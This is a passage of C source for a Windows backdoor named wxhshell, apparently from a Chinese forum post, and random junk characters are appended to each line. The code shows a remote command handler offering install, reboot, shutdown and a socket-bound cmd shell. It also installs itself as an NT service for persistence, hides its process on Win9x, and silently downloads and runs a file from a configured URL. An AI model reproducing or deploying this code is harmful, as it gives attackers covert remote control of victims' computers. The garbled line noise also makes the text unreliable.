    switch(cmd[0]) { K]7@%cS  
  oS`F Yy  
  // 帮助 ^|x{E20  
  case '?': { _>aesp%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JTb<uC  
    break; \J13rL{<  
  } F_-yT[i  
  // 安装 xQD#; 7  
  case 'i': { G!Uq#l>  
    if(Install()) cf j6I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ck@[% ?  
    else C2b.([HE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YJ"gm]Pm  
    break; )0%<ZVB  
    } #A))#sT'R  
  // 卸载  t]vz+VQ  
  case 'r': { &=/.$i-w$  
    if(Uninstall()) :4Y|%7[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ML'R[~|  
    else [lnN~#(Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t4<#k=  
    break; J]~3{Mi  
    } *U]f6Q<X  
  // 显示 wxhshell 所在路径 ' Wi*[  
  case 'p': { xp39TiXJ*  
    char svExeFile[MAX_PATH]; 0qTa @y  
    strcpy(svExeFile,"\n\r"); -p)HH@6a  
      strcat(svExeFile,ExeFile); y=&)sq  
        send(wsh,svExeFile,strlen(svExeFile),0); k9bU<  
    break; >a0;|;hp  
    } FINM4<s)  
  // 重启 7'o?'He-.2  
  case 'b': { a{8GT2h`4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mDq0 1fU4  
    if(Boot(REBOOT)) i'57|;?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F^w0TD8  
    else { j`#|z9`(pB  
    closesocket(wsh); H ,?MG  
    ExitThread(0); : i(h[0  
    } FIS-xpv$  
    break; p1&d@PF&&  
    } "~Eo=R0O  
  // 关机 |[: `izW  
  case 'd': { }8FP5Z'Cf%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xCQ<G{;C  
    if(Boot(SHUTDOWN)) 7f(UbO@BD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r|P4|_No  
    else {  dxU[>m;  
    closesocket(wsh); _I -0[w  
    ExitThread(0); F{}z[0  
    } sn *s7v:  
    break; ? &1?uc  
    } 7.=u:PK7kM  
  // 获取shell T"0a&.TLj  
  case 's': { f{+8]VA  
    CmdShell(wsh); ;;U2I5 M7  
    closesocket(wsh); aE;!mod  
    ExitThread(0); \/,SH?>4x  
    break;  (0k0gq;  
  } sX=!o})0  
  // 退出 Vxw?"mhP  
  case 'x': { -&HN h\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PffwNj/l  
    CloseIt(wsh); ;ndg,05_  
    break; 5}By2Tx  
    } iCc \p2p  
  // 离开 3NJ-.c@(p  
  case 'q': { (_W[~df4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |6uEf/*DX  
    closesocket(wsh); k4`v(au^  
    WSACleanup(); 9 np<r82  
    exit(1); u!X 2ju<  
    break; mq "p"iI  
        } '-*r&:  
  } :bh[6 F  
  } FTB"C[>  
lF#Kg !-l  
  // 提示信息 0m@S+$v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !X,S2-}"  
} ,CvU#ab8$  
  } {=(4  
}x8fXdd  
  return; PzF)Vg  
} [Z[)hUXE?  
0zfrx-'zN  
// shell模块句柄 Dp'/uCW)  
int CmdShell(SOCKET sock) O_:Q#  
{ 3 C[ ;2  
STARTUPINFO si; X)|%[aX}q  
ZeroMemory(&si,sizeof(si)); o3`Z@-.G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q/+a{m0 f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v<-D>iJ  
PROCESS_INFORMATION ProcessInfo; TLkkB09fvk  
char cmdline[]="cmd"; E+>;tLw3j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g-]td8}#  
  return 0; n%O`K{86  
} }\irr9,  
5<S1,u5  
// 自身启动模式 6jnRC*!?  
int StartFromService(void) -~xd-9v?  
{ R0+m7mx#E  
typedef struct nd?m+C&W  
{ a:8@:d1T K  
  DWORD ExitStatus; sO*6F`eiZ  
  DWORD PebBaseAddress; $M><K  
  DWORD AffinityMask; LD5'4,%-  
  DWORD BasePriority; .5T7O_%FP  
  ULONG UniqueProcessId; K;Xn!:) V:  
  ULONG InheritedFromUniqueProcessId; dxd}:L~z  
}   PROCESS_BASIC_INFORMATION; 5-g02g  
jXdn4m/O  
PROCNTQSIP NtQueryInformationProcess; 68d@By  
O-|3k$'\z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~q9RZ#g13J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ky=&C8b<  
i0 R=P[  
  HANDLE             hProcess; |[V(u  
  PROCESS_BASIC_INFORMATION pbi; nQgn^z#  
1|%$ie  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fl O%O D  
  if(NULL == hInst ) return 0; ?oF@q :W  
4x3`dvfp/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z`f _e?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^hgpeu   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  {<i!Pm  
z4<h)hh"k6  
  if (!NtQueryInformationProcess) return 0; U_J|{*4S.!  
Oll\T GXP!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VOiphw`  
  if(!hProcess) return 0; /q^( uWu  
c[YC}@l%a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X ak~He  
{Cd*y6lI  
  CloseHandle(hProcess); LO2sP"9  
>!wwXhH(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $L&*0$[]Q  
if(hProcess==NULL) return 0; ,5/gNg  
i7p3GBXh[  
HMODULE hMod; HS2)vd@)  
char procName[255]; Z<wg`  
unsigned long cbNeeded;  t9=rr>8)  
qv<VKJTi6]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sz . _XY^  
0lEIj/u  
  CloseHandle(hProcess); rN*4Y  
^WRr "3  
if(strstr(procName,"services")) return 1; // 以服务启动 QTDI^ZeuF  
dW=]|t&  
  return 0; // 注册表启动 B.{yf4a#L  
} 0 8U:{LL  
<vAg\Tv:S  
// 主模块 6Y=$7%z  
int StartWxhshell(LPSTR lpCmdLine) h;Bol  
{ 4u;W1=+Vn  
  SOCKET wsl; s5[ Cr"q7B  
BOOL val=TRUE; mjw:Z,  
  int port=0; rj6wKf z  
  struct sockaddr_in door; /1^%32c  
J4JKAv~3  
  if(wscfg.ws_autoins) Install(); 1p tPey  
UrtN3icph  
port=atoi(lpCmdLine); $}jSIn=~|t  
0>AA-~=-  
if(port<=0) port=wscfg.ws_port; a~{mRh  
cLXMq"?C  
  WSADATA data; | 0&~fY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w+JDu_9+A]  
JU~l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bclA+!1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tewC *%3V  
  door.sin_family = AF_INET; z,^baU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?{+}gS^  
  door.sin_port = htons(port); 76hi@7a  
p( z.[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O6m}#?Ai/@  
closesocket(wsl); WyO10yvR  
return 1; |{Oe&j3|  
} `"    
Bf8 #&]O  
  if(listen(wsl,2) == INVALID_SOCKET) { 5Zh /D0!|  
closesocket(wsl); 7q(RQQp  
return 1; JH2d+8O:qK  
} vQ 5 p  
  Wxhshell(wsl); ]r|X[9  
  WSACleanup(); rFGbp8(2  
4D0"Y #&G  
return 0; Z~v.!j0  
{Z$Aw4a"d  
} HD$W\P  
S\mh{#Lpk  
// 以NT服务方式启动 ](B+ilr   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f7\$rx  
{ <&Y7Q[  
DWORD   status = 0; ss.wX~I  
  DWORD   specificError = 0xfffffff; g&X$)V4C  
M"1}"ex#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `cCsJm$V"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :<!a.%=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r. :LZEr  
  serviceStatus.dwWin32ExitCode     = 0; 0)+F}SyyD  
  serviceStatus.dwServiceSpecificExitCode = 0; 3N[t2Y1r  
  serviceStatus.dwCheckPoint       = 0; 5hg:@i',  
  serviceStatus.dwWaitHint       = 0; +CaPF  
Ic P]EgB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jzo|$W  
  if (hServiceStatusHandle==0) return; X6kCYTJYF  
4Un(}P'   
status = GetLastError(); S&q@M  
  if (status!=NO_ERROR) Mnc9l ^  
{ &iORB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GU([A@;  
    serviceStatus.dwCheckPoint       = 0; zT 9"B  
    serviceStatus.dwWaitHint       = 0; 7'LKyy !"3  
    serviceStatus.dwWin32ExitCode     = status; WRe9ki=R  
    serviceStatus.dwServiceSpecificExitCode = specificError; % tTL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0NL~2Qf_4  
    return; N8#wQ*MM>  
  } tZB" (\  
(p>?0h9[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TgoaEufS<  
  serviceStatus.dwCheckPoint       = 0; 3rBSwgRl  
  serviceStatus.dwWaitHint       = 0; EyO=M~nsS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5<^ $9('  
} C8W#$a  
Arc6d5Q  
// 处理NT服务事件,比如:启动、停止 aA7}>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yS'W ss  
{ K&3,J7&&  
switch(fdwControl) ~4fUaMT  
{ ;SnpD)x@)  
case SERVICE_CONTROL_STOP: NwP!.  
  serviceStatus.dwWin32ExitCode = 0; F>RL&i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $KHw=<:)/  
  serviceStatus.dwCheckPoint   = 0; 5$$Yce=k  
  serviceStatus.dwWaitHint     = 0; <n? cRk'.  
  { ^hiIMqY_{`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b~>kTO  
  } <N KmLAfX  
  return; D`d*bNR  
case SERVICE_CONTROL_PAUSE: UTwXN |'|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o^+2%S`]  
  break; Lz6b9W  
case SERVICE_CONTROL_CONTINUE: B>C+qj@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =S+*= jA  
  break;  Z(F['Zf  
case SERVICE_CONTROL_INTERROGATE: [ ICFPY6  
  break; CiF(   
}; {G.W?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *@)0TL( 03  
} 08czP-)OZ  
MD|T4PPz,}  
// 标准应用程序主函数 #!?jxfsFa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3EkCM_]  
{ !B|Aq- n,  
iq1HA.X(  
// 获取操作系统版本 .bYZkO:oy  
OsIsNt=GetOsVer(); &X3G;x2;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2i0 .x  
aW=c.Q.  
  // 从命令行安装 vbBNXy/  
  if(strpbrk(lpCmdLine,"iI")) Install(); ahICx{hK  
^#( B4l!  
  // 下载执行文件 ty ESDp%  
if(wscfg.ws_downexe) { u:]c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;*u"hIl1/  
  WinExec(wscfg.ws_filenam,SW_HIDE); R`5g#  
} d?ru8  
`D-P}hDm!  
if(!OsIsNt) { 2JdzeJb  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]y0bgKTK  
HideProc(); %plu]^Vy  
StartWxhshell(lpCmdLine); Kd r7 V  
} ;O`ZVB  
else atiyQuT6Wh  
  if(StartFromService()) h*>%ou   
  // 以服务方式启动 =e)t,YVm  
  StartServiceCtrlDispatcher(DispatchTable); ,Iv eKk5W  
else z`}z7e'>  
  // 普通方式启动 6.Jvqn  
  StartWxhshell(lpCmdLine); W{RZ@ 3ZY  
;NMv>1fI  
return 0; q\pI&B  
}
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只看该作者 1 发表于: 2006-10-10
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